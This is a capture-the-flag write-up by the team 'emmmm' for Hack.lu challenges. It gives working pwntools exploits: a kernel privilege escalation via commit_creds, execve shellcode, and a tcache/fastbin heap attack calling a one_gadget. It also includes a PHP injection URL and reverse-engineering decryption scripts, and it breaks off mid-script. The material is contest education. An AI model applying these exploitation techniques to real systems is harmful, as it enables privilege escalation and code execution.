Hack.lu Writeups by emmmm

emmmm, we are team based on USTC&BUPT&HIT&M4x

PWN

Baby Kernel

This is a simple kernel pwn challenge. We are able to call some function with arguments. And there is no KASLR from hints. So we call commit_creds(prepare_kernel_cred(0)) to get root then we can read flag.

babykernel bat solve.py 
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    #!/usr/bin/env python
   2    # -*- coding: utf-8 -*-
   3    
   4    from pwn import *
   5    
   6    vmlinux = ELF("./vmlinux", checksec = False)
   7    
   8    pkc = vmlinux.sym['prepare_kernel_cred']
   9    print "pkc: ", pkc
  10    cc = vmlinux.sym['commit_creds']
  11    print "cc: ", cc
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
babykernel python solve.py 
pkc:  18446744071579168336
cc:  18446744071579167184
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=1000(user) gid=1000(user) groups=1000(user)
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
random: fast init done
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
> 
18446744071579168336
There is a good chance we will want to pass an argument?
> 
0
Got call address: 0xffffffff8104ee50, argument: 0x000000
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104ee50 as funt
A miracle happened. We came back without crashing! I ev.
It is: ffff88000212c0c0
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
> 
18446744071579167184
There is a good chance we will want to pass an argument?
> 
18446612132349001920 
Got call address: 0xffffffff8104e9d0, argument: 0xffff80
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104e9d0 as funt
A miracle happened. We came back without crashing! I ev.
It is: 0000000000000000
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=0(root) gid=0(root)
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 3
Which file are we trying to read?
> /flag
Here are your 0xf bytes contents: 
flag{testflag}

baby exploit

modify the jump offset to input, and we can control 7 bytes, so we first use 7 byte to make a read syscall to read the shellcode , and then jump to the shellcode.

from pwn import *

context.arch = 'amd64'

sc = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00"


def decrypt(s):
    sc_list = map(ord, list(s))
    for i in range(len(sc_list) - 2, -1, -1):
      sc_list[i] = sc_list[i+1] ^ sc_list[i]
    sc =  eval(repr(''.join(map(chr, sc_list))))
    return sc




# io = process('./chall')
# io = process('./modified')
io = remote("arcade.fluxfingers.net", 1807)

io.recvuntil("want to flip")
io.sendline("0xbc")
io.recvuntil("byte-offset")
io.sendline("3")
io.recvuntil("win:")

asm_code = '''
pop rax
pop rdx
pop rax
xor edi, edi
syscall
'''

code = asm(asm_code)
log.info(code +  "length: " + str(len(code)))

payload = decrypt('a'*(0x2e - 7) + code)
payload2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + sc
# sleep(0.5)
io.send(payload)
sleep(0.5)
io.sendline(payload2)
io.interactive()

heap_heaven_2

The program mmap a heap whose size is 0x2000, and it provide some choices that we can do on the heap, such as write some bytes on it, free some of it into tcache or bins(need to use write choice to fake heap on it) and choose a offset on the heap and get the value as a point to print(need to write first also). And the program malloc a heap called state and place a vtable point in it(*state = vtable), the vatble has two function point, one is menu, the other is bye(*vtable=&bye,*(vtable+8)=&menu), menu function is called every time the loop.

After know that, we can easily leak the address of libc、heap and the mmaped heap by faking some heap and free them into fastbin and unsortbin(i didn't do them by using tcache because my local environment dosen't have tcache).

The free choice dosen't check the address is within the mmaped heap or not. So we can free arbitrary address, our target is state, state is a fastbin of size 0x20,we can hijack state->fd point to a fake heap we free into fastbin before it, vtable places in state->fd, and i pce one_gadget in the fake heap. After that, when the program call menu *((state->vtable)+8)(), it will call one_gadget.

from pwn import*

def write_heap(length, offset, data):
    p.recvuntil("[5] : exit\n")
    p.sendline("1")
    p.recvuntil("How much do you want to write?\n")
    p.sendline(str(length))
    p.recvuntil("At which offset?")
    p.sendline(str(offset))
    sleep(1)
    p.send(data)

def free_heap(offset):
    p.recvuntil("[5] : exit\n")
    p.sendline("3")
    p.recvuntil("At which offset do you want to free?\n")
    p.sendline(str(offset))

def leak_heap(offset):
    p.recvuntil("[5] : exit\n")
    p.sendline("4")
    p.recvuntil("At which offset do you want to leak?\n")
    p.sendline(str(offset))
    p.recvuntil("a"*16)
    addr = u64(p.recv(6).ljust(8,'\x00'))
    return addr

def leak_heap1(offset):
    p.recvuntil("[5] : exit\n")
    p.sendline("4")
    p.recvuntil("At which offset do you want to leak?\n")
    p.sendline(str(offset))
    addr = u64(p.recv(6).ljust(8,'\x00'))
    return addr

#p = process("./heap_heaven_2")
p = remote("arcade.fluxfingers.net",1809)

x = (p64(0x00) + p64(0x21) + "2"*0x10 + p64(0x00) + p64(0x91) + "1"*0x80)*8
write_heap(len(x),0x1000,x)
free_heap(0x1000+0x10)
free_heap(0x1000+0x10+0xb0)
free_heap(0x1000+0x10+0xb0*2)
free_heap(0x1000+0x10+0xb0*3)
free_heap(0x1000+0x10+0xb0*4)
free_heap(0x1000+0x10+0xb0*5)
free_heap(0x1000+0x10+0xb0*6)

heap1 = p64(0x00) + p64(0x21) + "1"*0x10
heap2 = p64(0x00) + p64(0x21) + "2"*0x10 
heap3 = p64(0x00) + p64(0x421) + "3"*0x410
heap4 = p64(0x00) + p64(0x21) + "4"*0x10
heap5 = p64(0x00) + p64(0x21) + "5"*0x10
heap6 = p64(0x00) + p64(0x31) + "6"*0x20

data1 = heap1 + heap2 + heap3 + heap4 + heap5 + heap6
data2 = "a"*16

write_heap(len(data1),0,data1)
write_heap(len(data1),0x800,data1)
write_heap(len(data1),0x1800,data1)
free_heap(0x1800 + len(heap1) + 0x10)   #heap2
free_heap(0x1800 + len(heap1 + heap2 + heap3) + 0x10) #heap4
free_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10)#heap5

write_heap(len(data2),0x1800+len(heap1 + heap2 + heap3),data2)
mmap = leak_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10) & 0xFFFFFFFFFF
mmap -= len(heap1)
mmap -= 0x1800
print "mmap: " + hex(mmap)

free_heap(len(heap1 + heap2) + 0x10)#heap3
addr2 = leak_heap1(len(heap1 + heap2) + 0x10)
heap = addr2 - 0x290
print "heap: " + hex(heap)

free_heap(len(heap1 + heap2) + 0x10 + 0x800)
write_heap(17,len(heap1 + heap2),"a"*17)
addr1 = leak_heap(len(heap1 + heap2) + 0x10 + 0x800) &0xffffffffff00
libc = addr1 - 0x01BEB00
one = 0xe75f0
one += libc
print "libc:" + hex(libc)

write_heap(len(p64(heap+0x290-0x10)),0x700,p64(heap+0x290-0x10))
func = leak_heap1(0x700)
print hex(func)

write_heap(len(p64(one))*2,0x1800 + len(heap1 + heap2 + heap3 + heap4),(p64(one)*2))
target = heap + 0x290 -0x30
free_heap(target - mmap)
p.interactive()

WEB

babyphp

https://arcade.fluxfingers.net:1819/?msg=data:text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337x&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=emmm&k1=2&bb=var_dump($flag);//
flag{7c217708c5293a3264bb136ef1fadd6e}

REVERSE

1-bit-missile

We know that it is a bios rom from the result of strings ./rom.

So we run it using qemu-system-i386 -nographic -bios ./rom and debugging with qemu-system-i386 -nographic -bios ./rom -s -S.

After attaching to the rom, we're able to dump the code in gdb using dump binary memory dump.bin 0x100000 0xffffff

we know the start address is 0x100000 because "Jumping to boot code at 00100000(07fd7000)"

Then we open dump.bin with IDA and rebase it to 0x100000. After searching strings, we find an interesting function like:

void __cdecl __noreturn sub_10009E(char a1)
{
  char *a1a; // [esp+4h] [ebp-14h]

  print("FLAG if hit confirmed:");
  if ( (unsigned int)(data[19] ^ data[24]) < data[32] || (unsigned int)(data[19] ^ data[24]) > data[33] )
  {
    print("address out of scope!");
    sub_100160();
  }
  a1a = (char *)malloc(64);
  copy_str(a1a, (char *)(data[19] ^ data[24]));
  if ( *a1a )
    print(a1a);
  else
    print("MISSED!");
  sub_100160();
}

So we set a breakpoint at 0x100128, which is:

seg000:00100122                 push    [ebp+a2]        ; a2
seg000:00100125                 push    [ebp+a1]        ; a1
seg000:00100128                 call    copy_str
seg000:0010012D                 add     esp, 10h

When we take a look in the debugger, we found the arg2 in copy_str points NULL, that's why the rom always prints MISSED!.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────[ REGISTERS ]──────────────────────
 EAX  63 —▸ 0 ◂— 0x0
 EBX  0x7ff3798 —▸ 0x7fef0d9 —▸ 0x505f5342 —▸ 0 ◂— 0x0
 ECX  0x1086e8 —▸ 0x26c0 —▸ 0 ◂— 0x0
 EDX  0 ◂— 0x0
 EDI  0x100000 —▸ 0x906622eb —▸ 0 ◂— 0x0
 ESI  0x1b8 —▸ 0 ◂— 0x0
 EBP  0x10d498 —▸ 0x7ff4fd8 —▸ 0xa0000 —▸ 0 ◂— 0x0
 ESP  0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
 EIP  0x100128 —▸ 0x3d68e8 —▸ 0 ◂— 0x0
───────────────────────[ DISASM ]───────────────────────
  0x100128    call   0x103e95

   0x10012d    add    esp, 0x10
   0x100130    mov    eax, dword ptr [ebp - 0x14]
   0x100133    movzx  eax, byte ptr [eax]
   0x100136    test   al, al
   0x100138    jne    0x10014c

   0x10013a    sub    esp, 0xc
   0x10013d    push   0x10500d
   0x100142    call   0x103ca3

   0x100147    add    esp, 0x10
   0x10014a    jmp    0x10015a
───────────────────────[ STACK ]────────────────────────
00:0000│ esp  0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
01:0004│      0x10d474 —▸ 0xc8000 —▸ 0 ◂— 0x0
02:0008│      0x10d478 —▸ 63 —▸ 0 ◂— 0x0
03:000c      0x10d47c —▸ 1 —▸ 0 ◂— 0x0
04:0010│      0x10d480 —▸ 0x1b8 —▸ 0 ◂— 0x0
05:0014│      0x10d484 —▸ 0x1086a8 —▸ 0 ◂— 0x0
06:0018│      0x10d488 —▸ 0xc8000 —▸ 0 ◂— 0x0
07:001c      0x10d48c —▸ 64 —▸ 0 ◂— 0x0
Breakpoint *0x100128
pwndbg> x/s 0xc8000
0xc8000:    ""

So we search flag and found that:

pwndbg> find /w 0xa0000, 0xe0000, 0x67616c66
0xc0000
1 pattern found.
pwndbg> x/3s 0xc0000
0xc0000:    "flag{xxxxxxxxxx"...
0xc000f:    'x' <repeats 15 times>...
0xc001e:    "xxxxxx}"

Clearly, if we change data[19] ^ data[24] == 0xc0000, we will get flag.

There are two options:

  1. modify 0xef5a3f92 to 0xef5abf92(data[24])
  2. modify 0xef56bf92 to 0xef563f92(data[19])

Finally, option 2 works.

1-bit-missile nc arcade.fluxfingers.net 1816
Enter target byte [0 - 262143]: 194401
]> 10111111 <[
Enter target bit: [0 - 7]: 7
}X> ---------------------------------------{0}
]> 00111111 <[
......
flag{only_cb_can_run_this_simple_elf}

babyre

The program do a simple sequential xor encryption to our input and compare it with a const string. Just decrypt it to get flag

enc = "\x0a\x0d\x06\x1c\"8\x18&6\x0f9+\x1cYB,6\x1a,&\x1c\x17-9WC\x01\x07+8\x09\x07\x1a\x01\x17\x13\x13\x17-9\x0a\x0d\x06F\\}"
encl = map(ord, list(enc))
for i in range(len(encl) - 2, -1, -1):
    encl[i] = encl[i+1] ^ encl[i]
print repr(''.join(map(chr, encl)))

forgetful commander

The program has encrypted code. And the check function is called after __libc_start_main function.
The entry function compare /proc/self/exe and /proc/self/maps to get the address where program is loaded. After that, program decrypt itself and start to execute decrypted code.
I debug the program and find the verification happens in the function at offset 0x2190. Just reverse it.
The decryption is quite simple as below.

enc = "\xdf\x98\xe2\x08\xcc\xbb\xeb\xac\x8c\xb2\xaa\xca\x85\xe3\xb2]\xea\x87\x99\xc1Kx\xb8\xe9\xea\x1d^\xd5S\xf8\x0f\x09\xd9\xde\x05|i\x1am\xbdo\x8c4\xd4tN\x1c$]\x83\x1dJ\xa7\xc8l\xc2C\xb6"
table = 'O\xb0\xab6\x1e\xb9Y\x88\xa1\xe1\xf4\xef/\x97w\x834\xa8\xe1po,\xbe\x06\xc6\xb7\xd2\xa3$\x1e\xf1x\xed\xdcO\x9e\xa0\xb2\xf6\x10\xdf\xbe3\xb4\x88\xf8\xeb\xe2\xc0\x1c\xed\x07\x0e\xe5\xb4\xde\x07\xeej\\\xb3\xe87q\x8b\xf5n\xf33\xf0\x86P\xf5\x15\x8b\xed\x84w\x1e{\x02\xe0V^\x93\xba\x1a\x8c\x0f\xd2\xeb\x16\xb3\x83\x98\xfc\xd2\x81\x87\xf3\xa0\'ZO\xe28o\xa0l\xdd\x1d\x11ei\xde\xe7\'\x89\xe2\x95\xb6H9\x00\xf1\x8b`\x1f\xfd\x8bs\x8f}h\xd7:\x19m:\x02\x8a\xc5\x90%\x8c\'wt\x8c\xeb\x90\x1fz%\xf8ja\x8cL\xa6V\x0c\xfbJe\xb4\xeb\x12\x9d\'\xb7B\x8d\x9d\xecv\x96\x8e\xca\x86\x0f\xb2\xc4\x14\x9f\x05\xba\xa7Cz\x7f+\xf936\x1e\xcfUc\x8a\xe2;h\x02?\x18\xd9\xbbm\x8d\xe5K\xbe\x8flX\x1d\xfe\x17b\xb8\xa6\x8f\xb0\xf7+\x14\xc0\xb6\xf0,%\x02/+y\xd8AfR{\xc6\x88rG1\x0c7n4\xe2,\xd4\x95Ch\t&\xbb\x93$?ZfA\xc4\xdc\xaf\xf4\xa2\xa0\x00U#\x1a\t<Q\xa0\xfa\xa6\xdaL)Zm$\x94\x98`\xcb\x19N\xe72|\x98Ln\n!\xcd\x8e\xa8ss\x15\x0bU\xad\xb9"S#3?(\xb5PdV\xc8]N\x89*_\xe5\x94\xe6{\xc4\x15\x1bBpK\x19\x0f\xec\rO\x9a\x1fm?\x10\x1e\x03\x98\x8b\x1bV"'
for j in range(0x40):
    res = ''
    for i in range(0x3a):
        res += chr(ord(enc[i]) ^ ord(table[j + i * 5]))
    print res

Note that the value of j is decided by following code. The result is relative to trapped flag(0x100). If the program is under debug the value of j is 0x40, ohterwise it's 5. I just brutefore it XD.

0x00002222      9c             pushfd
0x00002223      5a             pop edx
0x00002224      89d1           mov ecx, edx
0x00002226      81e100010000   and ecx, 0x100
0x0000222c      31ca           xor edx, ecx
0x0000222e      c1c902         ror ecx, 2
0x00002231      31ca           xor edx, ecx
0x00002233      52             push edx
0x00002234      89c2           mov edx, eax
0x00002236      9d             popfd
0x00002237      0f44d1         cmove edx, ecx // j

Snake

This challenge is about QT Reverse engineering. The snake game is not verified until we enter a valid license.
It's easy to find the verification by searching error message 'This is a valid License'. The program will decrypt a png encrypted with AES if the license is valid. So we need to find the correct input.
The check function is a QT slot function, which is triggered by relative signal function(fileoffset 0x40E0). The signal function will call activate, which will find slot function with data stored in QMetaObject, and then call it.

There are two way to find the slot function:

  1. debug into activate function and find the call
  2. find with QMetaObject just as QT does.
    I choose the first way and find the check function at fileoffset 0x6190

    Not very complicated, decrypt it:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int enc_byte(c, magic) {
    char tmp = ((magic >> 2) | (magic << 6)) ^ 0xAE;
    tmp = ((tmp << 5) | (tmp >> 3)) ^ 0x66;
    char res = c ^ ~((tmp >> 1) | (tmp << 7) | (c >> 4));
    return res;
}

int decrypt(char *enc, char *buf, char fb) {
    char magic = fb;
    int i, j;
    size_t nbytes = strlen(enc);
    printf("decrypting %d bytes\n", nbytes);

    for (i = 0; i < nbytes; i++) {
        for (j = 0x20; j < 0x7f; j++) {
            if (enc_byte(j, magic) == enc[i]) {
                buf[i] = j;
                magic = ~enc[i];
                break;
            }
        }
    }
    return 0;
}

int main() {
    char s[] = {1, 0x95, 'f', '>', 0x1b, 'V', 'd', ',', '(', '\n', 0x9a, 4, 0xad, 0xc, 0xc8, 0xd9, 0};
    char res[0x100] = {0};
    int fb;
    for (fb = 0x20; fb < 0x7f; fb++) {
        if (enc_byte(fb, fb) == s[0]) {
            printf("first byte: 0x%x\n", fb);

        

Hacking more

...